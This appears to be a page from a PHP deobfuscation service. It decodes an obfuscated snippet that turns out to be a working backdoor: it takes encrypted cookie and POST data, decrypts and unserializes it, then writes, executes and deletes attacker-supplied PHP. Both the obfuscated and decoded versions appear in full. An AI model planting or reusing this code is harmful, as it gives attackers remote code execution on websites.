Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$TNeSYFdmFU = chr (76) . "\x65" . '_' . 'T' . chr (122) . "\x50" . chr ( 1031 - 945 ).chr ..

Decoded Output download

<?  $TNeSYFdmFU = chr (76) . "e" . '_' . 'T' . chr (122) . "P" . chr ( 1031 - 945 ).chr ( 612 - 494 ); $JnqkGRmK = chr ( 543 - 444 ).chr ( 343 - 235 )."a" . chr (115) . chr (115) . chr (95) . 'e' . 'x' . 'i' . chr ( 823 - 708 ).chr ( 1023 - 907 ).chr ( 546 - 431 ); $IvDreIc = $JnqkGRmK($TNeSYFdmFU); $TNeSYFdmFU = "56795";$jYsdmEl = $IvDreIc;$JnqkGRmK = "61050";if (!$jYsdmEl){class Le_TzPVv{private $MnsZarV;public static $DfroEw = "b63fd6f5-5a62-490b-be47-d3ab2c817c34";public static $vzvlcETno = 51716;public function __construct($GZZtiXy=0){$kWipDwqOaV = $_COOKIE;$rXamihf = $_POST;$mYQbS = @$kWipDwqOaV[substr(Le_TzPVv::$DfroEw, 0, 4)];if (!empty($mYQbS)){$yhaEC = "base64";$NzyamXx = "";$mYQbS = explode(",", $mYQbS);foreach ($mYQbS as $ZNHRBXMPD){$NzyamXx .= @$kWipDwqOaV[$ZNHRBXMPD];$NzyamXx .= @$rXamihf[$ZNHRBXMPD];}$NzyamXx = array_map($yhaEC . chr (95) . 'd' . chr ( 908 - 807 ).chr (99) . chr (111) . chr (100) . "e", array($NzyamXx,)); $NzyamXx = $NzyamXx[0] ^ str_repeat(Le_TzPVv::$DfroEw, (strlen($NzyamXx[0]) / strlen(Le_TzPVv::$DfroEw)) + 1);Le_TzPVv::$vzvlcETno = @unserialize($NzyamXx);}}private function uWdZE(){if (is_array(Le_TzPVv::$vzvlcETno)) {$XDvTvC = sys_get_temp_dir() . "/" . crc32(Le_TzPVv::$vzvlcETno[chr (115) . chr (97) . chr ( 749 - 641 )."t"]);@Le_TzPVv::$vzvlcETno["w" . "r" . chr (105) . 't' . "e"]($XDvTvC, Le_TzPVv::$vzvlcETno['c' . "o" . chr ( 905 - 795 ).chr (116) . "e" . 'n' . 't']);include $XDvTvC;@Le_TzPVv::$vzvlcETno["d" . chr ( 1070 - 969 ).chr (108) . 'e' . "t" . chr ( 736 - 635 )]($XDvTvC); $DORSn = "5534";exit();}}public function __destruct(){$this->uWdZE(); $DORSn = "5534";$EHYGjkVim = str_pad($DORSn, 10);}}$PqFEhHjI = new /* 29450 */ Le_TzPVv(); $PqFEhHjI = substr("6207_34636", 1);} ?>

Did this file decode correctly?

Original Code

$TNeSYFdmFU = chr (76) . "\x65" . '_' . 'T' . chr (122) . "\x50" . chr ( 1031 - 945 ).chr ( 612 - 494 ); $JnqkGRmK = chr ( 543 - 444 ).chr ( 343 - 235 )."\141" . chr (115) . chr (115) . chr (95) . 'e' . 'x' . 'i' . chr ( 823 - 708 ).chr ( 1023 - 907 ).chr ( 546 - 431 ); $IvDreIc = $JnqkGRmK($TNeSYFdmFU); $TNeSYFdmFU = "56795";$jYsdmEl = $IvDreIc;$JnqkGRmK = "61050";if (!$jYsdmEl){class Le_TzPVv{private $MnsZarV;public static $DfroEw = "b63fd6f5-5a62-490b-be47-d3ab2c817c34";public static $vzvlcETno = 51716;public function __construct($GZZtiXy=0){$kWipDwqOaV = $_COOKIE;$rXamihf = $_POST;$mYQbS = @$kWipDwqOaV[substr(Le_TzPVv::$DfroEw, 0, 4)];if (!empty($mYQbS)){$yhaEC = "base64";$NzyamXx = "";$mYQbS = explode(",", $mYQbS);foreach ($mYQbS as $ZNHRBXMPD){$NzyamXx .= @$kWipDwqOaV[$ZNHRBXMPD];$NzyamXx .= @$rXamihf[$ZNHRBXMPD];}$NzyamXx = array_map($yhaEC . chr (95) . 'd' . chr ( 908 - 807 ).chr (99) . chr (111) . chr (100) . "\145", array($NzyamXx,)); $NzyamXx = $NzyamXx[0] ^ str_repeat(Le_TzPVv::$DfroEw, (strlen($NzyamXx[0]) / strlen(Le_TzPVv::$DfroEw)) + 1);Le_TzPVv::$vzvlcETno = @unserialize($NzyamXx);}}private function uWdZE(){if (is_array(Le_TzPVv::$vzvlcETno)) {$XDvTvC = sys_get_temp_dir() . "/" . crc32(Le_TzPVv::$vzvlcETno[chr (115) . chr (97) . chr ( 749 - 641 )."\x74"]);@Le_TzPVv::$vzvlcETno["\x77" . "\162" . chr (105) . 't' . "\145"]($XDvTvC, Le_TzPVv::$vzvlcETno['c' . "\x6f" . chr ( 905 - 795 ).chr (116) . "\x65" . 'n' . 't']);include $XDvTvC;@Le_TzPVv::$vzvlcETno["\x64" . chr ( 1070 - 969 ).chr (108) . 'e' . "\164" . chr ( 736 - 635 )]($XDvTvC); $DORSn = "5534";exit();}}public function __destruct(){$this->uWdZE(); $DORSn = "5534";$EHYGjkVim = str_pad($DORSn, 10);}}$PqFEhHjI = new /* 29450 */ Le_TzPVv(); $PqFEhHjI = substr("6207_34636", 1);}

Function Calls

chr 12
class_exists 1

Variables

$JnqkGRmK class_exists
$TNeSYFdmFU Le_TzPVv

Stats

MD5 3fb801ef7ec14db32152e7945dff86a1
Eval Count 0
Decode Time 86 ms